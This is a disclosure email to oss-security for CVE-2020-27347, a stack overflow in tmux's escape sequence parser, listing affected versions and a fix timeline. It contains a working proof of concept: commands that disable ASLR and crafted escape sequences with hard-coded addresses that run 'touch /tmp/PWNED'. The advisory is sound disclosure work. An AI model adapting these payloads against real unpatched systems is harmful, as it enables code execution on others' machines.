Date: Thu, 05 Nov 2020 16:03:12 +0300
From: snizovtsev@...il.com
To: oss-security@...ts.openwall.com
Subject: CVE-2020-27347: tmux buffer overflow in escape sequence parser

Hi,

I recently discovered a bug in tmux (terminal multiplexer) which could
lead to crash or code execution. The bug was in
`input_csi_dispatch_sgr_colon` function which is used by tmux server
process.

The problem is that a bound check for a stack-allocated array `p` is
bypassed if 8th chunk of input buffer is empty:

```
        while ((out = strsep(&ptr, ":")) != NULL) {
                if (*out != '\0') {
                        p[n++] = strtonum(out, 0, INT_MAX, &errstr);
                        if (errstr != NULL || n == nitems(p)) {
                                return;
                        }
                } else
                        n++;
        }
```

Thus by using an escape sequence like "\033[::::::7::1:2:3::5:6:7:m" we
can overwrite arbitrary 4-byte locations on the stack. Moreover, an
empty arguments ("::") may be used to skip choosen offsets, and thereby
keep stack canaries untouched.

Code execution is proved practical only if tmux address space isn't
fully randomized. So ASLR with PIE will mitigiate this issue but more
complex exploits may be theoretically created.

=== Affected versions / distributions ===

- tmux 2.9-3.1b
- Ubuntu 20.04
- Debian 11
- Fedora 31+
- Alpine 3.10+
- openSUSE Leap 15.2
- OpenBSD 6.5+

=== Exploitation (testing purposes only) ===

I haven't found any ways to leak addresses so ASLR must be disabled:
sysctl -w kernel.randomize_va_space=0

Then open tmux and feed it with the following sequence:

for tmux 3.0a-2ubuntu0.1 on Ubuntu 20.04.1 x86_64:

```
echo -e
'\033[::::::::::::::::::1431728064::::::::1431829797::::1431915746::m;t
ouch /tmp/PWNED;\0';
```

for tmux-3.1-2.fc33.x86_64 on Fedora 33:

```
echo -e
'\033[::::::::::::::::::1431723856::::::::1432185743::::1431836040::m;t
ouch /tmp/PWNED;\0';
```

If done, `/tmp/PWNED` would indicate that the attack succeed.

=== Timeline ===
* 29 Oct 2020 - Vulnerability reported to author, security ()
openbsd.org, RedHat, SUSE and Canonical.
* 29 Oct 2020 - OpenBSD Errata published.
* 29 Oct 2020 - Fixed in OpenBSD and tmux 3.1c.
* 30 Oct 2020 - CVE-2020-27347 assigned.
* 05 Nov 2020 - Vulnerability opened.

--
Regards,
Sergey Nizovtsev.